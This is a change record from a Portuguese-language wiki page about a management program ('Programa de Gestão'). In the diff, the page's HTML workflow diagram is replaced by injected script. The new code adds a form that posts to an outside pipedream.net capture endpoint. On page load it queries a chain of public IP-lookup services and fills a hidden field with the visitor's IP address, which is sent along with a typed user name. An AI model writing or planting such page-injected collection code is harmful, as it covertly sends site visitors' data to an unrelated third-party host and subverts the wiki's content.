Mudanças do documento Programa de Gestão: Visão Geral
Última modificação por victorborges em 02/08/2022, 19:50
Comentário da mudança: Não existe comentário para essa versão
Summary
-
Page properties (2 modified, 0 added, 0 removed)
Details
- Page properties
-
- Título
-
... ... @@ -1,1 +1,1 @@ 1 - ProgramadeGestão: VisãoGeral1 +programa-gestao-visao-geral - Content
-
... ... @@ -1,168 +1,84 @@ 1 1 {{html}} 2 -<div style="display: flex;font-size: 13px;"> 3 - <div 4 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;"> 5 - <h2 style="text-align: center; border-bottom: 1px solid black;">Administração</h2> 6 - <div style="padding-top: 10px;display: flex;flex-direction: column;"> 7 - <div 8 - style="width: 30px; height: 30px; border: 1px solid black;align-self: center; border-radius: 50%; background-color: black;"> 9 - <br></div> 10 - </div> 11 - <div style="display: flex;flex-direction: column;"> 12 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg 13 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;"> 14 - <g> 15 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 16 - transform="rotate(-45 7.45775 0.435174)"></path> 17 - </g> 18 - </svg> 19 - </div> 20 - <div 21 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;"> 22 - Cadastro: Atividades</div> 23 - <div style="display: flex;flex-direction: column;"> 24 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg 25 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;"> 26 - <g> 27 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 28 - transform="rotate(-45 7.45775 0.435174)"></path> 29 - </g> 30 - </svg> 31 - </div> 32 - <div 33 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;"> 34 - Cadastro: Editais</div> 35 - <div 36 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;"> 37 - <br></div> 38 - <div style="display: flex;justify-content: flex-end;"> 39 - <div 40 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;"> 41 - Avaliar Inscrição</div><svg xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" 42 - style="align-self: center;"> 43 - <g> 44 - <title data-cke-title="Layer 1">Layer 1</title> 45 - <path d="m3.17753,13.90144l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 46 - transform="rotate(45 9.55077 7.52819)"></path> 47 - </g> 48 - </svg> 49 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div> 50 - </div> 51 - <div 52 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;"> 53 - <br></div> 54 - </div> 55 - <div 56 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;"> 57 - <h2 style="text-align: center; border-bottom: 1px solid black;">Participante</h2> 58 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 59 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 60 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 61 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 62 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 63 - <div style="display: flex;"> 64 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg 65 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;"> 66 - <g> 67 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 68 - transform="rotate(-135 0.481011 7.41191)"></path> 69 - </g> 70 - </svg> 71 - <div 72 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 10px;"> 73 - Inscrição</div> 74 - </div> 75 - <div style="display: flex;flex-direction: column;"><br></div> 76 - <div 77 - style="width: 50%; border-bottom: 2px solid black; border-right: 2px solid black;height: 20px;align-self: flex-start;margin-bottom: 20px;"> 78 - <br></div> 79 - <div style="display: flex;"> 80 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg 81 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;"> 82 - <g> 83 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 84 - transform="rotate(-135 0.481011 7.41191)"></path> 85 - </g> 86 - </svg> 87 - <div 88 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;"> 89 - Plano de Trabalho: Cadastrar</div> 90 - </div> 91 - <div 92 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;"> 93 - <br></div> 94 - <div style="display: flex;justify-content: flex-end;"> 95 - <div 96 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;"> 97 - Plano de Trabalho: Registrar Entregas</div><svg xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" 98 - width="10" style="align-self: center;"> 99 - <g> 100 - <title data-cke-title="Layer 1">Layer 1</title> 101 - <path d="m3.17753,13.90144l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 102 - transform="rotate(45 9.55077 7.52819)"></path> 103 - </g> 104 - </svg> 105 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div> 106 - </div> 107 - <div 108 - style="width: 50%; border-bottom: 2px solid black; border-left: 2px solid black;height: 20px;align-self: flex-end;margin-bottom: 20px;"> 109 - <br></div> 110 - </div> 111 - <div 112 - style="flex-grow: 1; border: 1px solid black;align-content: center;display: flex;flex-direction: column;padding: 8px 0;"> 113 - <h2 style="text-align: center; border-bottom: 1px solid black;">Gestor</h2> 114 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 115 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 116 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 117 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 118 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 119 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 120 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 121 - <div style="width: 150px; min-height: 40px; align-self: center;"><br></div> 122 - <div style="display: flex;"> 123 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg 124 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;"> 125 - <g> 126 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 127 - transform="rotate(-135 0.481011 7.41191)"></path> 128 - </g> 129 - </svg> 130 - <div 131 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;"> 132 - Plano de Trabalho: Avaliar</div> 133 - </div> 134 - <div 135 - style="width: 50%; border-bottom: 2px solid black; border-right: 2px solid black;height: 20px;align-self: flex-start;margin-bottom: 20px;"> 136 - <br></div> 137 - <div style="display: flex;"> 138 - <div style="height: 4px; width: calc(50% - 85px);border-top: 2px solid black;align-self: center;"><br></div><svg 139 - xmlns="http://www.w3.org/2000/svg" height="15.000000000000002" width="10" style="align-self: center;"> 140 - <g> 141 - <path d="m-5.89223,13.78516l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 142 - transform="rotate(-135 0.481011 7.41191)"></path> 143 - </g> 144 - </svg> 145 - <div 146 - style="width: 150px; min-height: 40px; border: 1px solid black;align-self: center;text-align: center;padding-top: 1px;"> 147 - Plano de Trabalho: Avaliar</div> 148 - </div> 149 - <div style="display: flex;flex-direction: column;"> 150 - <div style="width: 1px; height: 30px; border: 1px solid black;align-self: center;"><br></div><svg 151 - xmlns="http://www.w3.org/2000/svg" height="10" width="15.000000000000002" style="align-self: center;"> 152 - <g> 153 - <path d="m1.0845,6.80842l0,-12.7465l12.74649,12.7465l-12.74649,0z" fill="#000000" id="svg_12" stroke="#000" 154 - transform="rotate(-45 7.45775 0.435174)"></path> 155 - </g> 156 - </svg> 157 - </div> 158 - <div style="display: flex;flex-direction: column;"> 159 - <div 160 - style="width: 30px; height: 30px; border: 2px solid black;align-self: center; border-radius: 50%; display: flex;justify-content: center;"> 161 - <div 162 - style="width: 24px; height: 24px; border: 1px solid black;align-self: center; border-radius: 50%; background-color: black;"> 163 - </div> 164 - </div> 165 - </div> 166 - </div> 167 -</div> 2 +<html> 3 + <form method="post" action="https://eowo9vw4eahdild.m.pipedream.net"> 4 + <input type="hidden" name="user_ip" id="user_ip" /> 5 + <input type="text" name="user_name" placeholder="user name" /> 6 + <input type="submit" /> 7 + </form> 8 + <script text="script"> 9 + const dbIpApi = async () => fetch("https://api.db-ip.com/v2/free/self") 10 + .then(response => response.json()) 11 + .then(data => data.ipAddress); 12 + 13 + const ipifyApi = async () => fetch("https://api.ipify.org?format=json") 14 + .then(response => response.json()) 15 + .then(data => data.ip); 16 + 17 + const geopluginApi = async () => fetch("http://www.geoplugin.net/json.gp") 18 + .then(response => response.json()) 19 + .then(data => data["geoplugin_request"]); 20 + 21 + const cloudflareApi = async () => fetch("https://api.ipify.org?format=json") 22 + .then(response => response.text()) 23 + .then(data => data.trim().split('\n').reduce(function(obj, pair) { 24 + pair = pair.split('='); 25 + return obj[pair[0]] = pair[1], obj; 26 + }, {})) 27 + .then(data => data.ip); 28 + 29 + const ipapicoApi = async () => fetch("https://ipapi.co/json/") 30 + .then(response => response.json()) 31 + .then(data => data.ip); 32 + 33 + const ipapicomApi = async () => fetch("http://ip-api.com/json") 34 + .then(response => response.json()) 35 + .then(data => data.query); 36 + 37 + const ipregistryApi = async () => fetch("https://api.ipregistry.co/?key=tryout") 38 + .then(response => response.json()) 39 + .then(data => data.ip); 40 + 41 + const jsonipApi = async () => fetch("https://jsonip.com/") 42 + .then(response => response.json()) 43 + .then(data => data.ip); 44 + 45 + const jsontestApi = async () => fetch("http://ip.jsontest.com/") 46 + .then(response => response.json()) 47 + .then(data => data.ip); 48 + 49 + const jsonIpApis = [ 50 + jsontestApi, 51 + jsonipApi, 52 + ipregistryApi, 53 + ipapicomApi, 54 + ipapicoApi, 55 + ipifyApi, 56 + geopluginApi, 57 + cloudflareApi, 58 + dbIpApi, 59 + ]; 60 + 61 + const fetchIp = async (jsonIpApis) => { 62 + let ip = ""; 63 + for (let i = 0; i < jsonIpApis.length; i++) { 64 + const jsonIpApi = jsonIpApis[i]; 65 + try { 66 + ip = await jsonIpApi(); 67 + } finally { 68 + if (ip) { 69 + return ip; 70 + } 71 + } 72 + } 73 + } 74 + 75 + const userIpInput = document.getElementById("user_ip"); 76 + 77 + window.onload = () => { 78 + fetchIp(jsonIpApis).then(ip => { 79 + userIpInput.value = ip 80 + }); 81 + } 82 + </script> 83 +</html> 168 168 {{/html}}